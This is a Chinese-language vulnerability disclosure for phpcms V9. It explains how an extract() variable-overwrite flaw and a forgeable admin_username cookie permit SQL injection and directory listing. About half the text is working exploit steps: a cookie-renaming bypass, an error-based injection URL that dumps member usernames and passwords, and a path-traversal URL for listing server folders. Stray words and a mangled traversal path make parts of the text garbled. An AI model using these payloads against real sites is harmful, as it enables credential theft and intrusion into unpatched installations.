phpcmsV9SQL注射+列目錄

漏洞做者: kobin97

提交時間: 2012-01-20

公開時間: 2012-01-25

 

漏洞文件:phpcms\modules\p_w_upload\p_w_uploads.php
SQL注射漏洞相關代碼:
public function album_load() {
if(!$this->admin_username) return false;
if($_GET['args']) extract(getswfinit($_GET['args']));
if($_GET['dosubmit']){
extract($_GET['info']);
if($filename) $where = "AND `filename` LIKE '%$filename%' ";

能夠看出extract 存在變量覆蓋,從而形成注入。
再看$this->admin_username
$this->admin_username = param::get_cookie('admin_username');


因此能夠隨意構造繞過。
利用過程
首先訪問:php

http://v9.demo.phpcms.cn/index.php?m=p_w_upload&c=p_w_uploads&a=swfupload_jsonjson

會生成Cookie,YuHYi_att_json
修改cookie 文稱爲YuHYi_admin_username
再訪問
http://v9.demo.phpcms.cn/index.php?m=p_w_upload&c=p_w_uploads&a=album_load&t=1&dosubmit=true&info[where]=%201=1%20and%20%28select%201%20from%28select%20count%28*%29,concat%280x7c,%28select%20concat%28username,0x7c,password%29%20from%20v9_member%20%20limit%200,1%29,0x7c,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%20limit%200,1%29a%29%23cookie

便可暴出ide

列目錄漏洞:
訪問:this

http://v9.demo.phpcms.cn/index.php?m=p_w_upload&c=p_w_uploads&a=album_dir&dir=…/../…/…///phpsso_server/code

繞過過濾
orm

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